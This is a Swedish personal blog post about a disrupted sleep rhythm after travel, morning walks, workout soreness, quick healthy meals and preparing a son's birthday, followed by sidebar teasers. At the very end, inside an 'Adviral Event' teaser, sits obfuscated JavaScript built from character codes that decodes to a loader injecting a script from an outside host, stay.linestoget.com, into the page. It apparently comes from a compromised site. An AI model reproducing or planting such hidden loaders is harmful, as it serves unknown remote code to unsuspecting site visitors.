Hej igen, fortfarande heeelt fel Dygnsrytm!

F5D55B75-B08B-4697-B53B-B42C108CDB80

Hej!

Sorry för tystheten här inne. Har somnat tidigt och försökt komma in i dygnsrytmen. Alltså min dygnsrytm är HELT fel🙈 Somnade ju vid 21:00 igår, men det hjälpte inte. 

Jag trodde att jag skulle komma helt rätt på det igen, eftersom jag dygnade och sedan sov ”rätt” tid… Men icke! 😝

Vaknade ändå vid 03:00 imorse och kunde inte somna om… Smög ut, utan att väcka Jonas. (Som inte har några som helst problem att sova 🙈) 

Tog en tidig PW 💪🏻👊🏻  Trots -5 och mörkret! Mörkret är värst. Vågar knappt gå när det är mörkt ute, såååå läskigt! 

Träningsvärken från Wörkout passet igår är brutal… Så jag bävar inför imorgon😅

Första veckorna är alltid värst. Det vet vi ju alla. Så nu är det bara att härda ut…. Men det är så förbaskat kul! 😄

Även om jag fortfarne är trött av dygnsrytmen och känner mig jetlag, så är min energi av positivitet verkligen bättre än pålänge🙏🏻

-Denna energin ska ingen kunna ta bort! 🌟

22843CAD-A44A-4C88-958E-4B40115C367C D6B78206-8879-446B-A9B3-B4FBD5421DC7

Blir så glad när man hittar nyttiga alternativ på Ica och lokala caféer. Jag har knappt packat upp hemma. Jag började jobba direkt, men Jonas är hemma och jobbar hemifrån. Han har även idag plockat ner julgranen som vi aldrig han plocka ner innan vi åkte 😅

Men någon storhandling har det inte hunnits med, än mindre matlådor 🙈 Så idag och igår har varit väldigt provisoriskt… Men naturell kvarg, med sockerfri crunch, en banan och en spenatdryck fick bli lunch/mellis 😍

Försöker få i mig mer grönt, genom dryck, juice och smoothie och annat ( Ett av mina nyårslöften)

Nu ska jag jobba färdigt, innan jag ska ta helg. Idag kommer Lilleman upp, SOM jag längtat!

Vi ska fira hans födelsedag och ha lite mys-pys hemma, Därför har jag lite att stå i innan han landar☺️ Ska köpa lite ballonger och annat Lull-lull☺️

-Vi hörs senare!😄

Kram kram

/My Martens

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/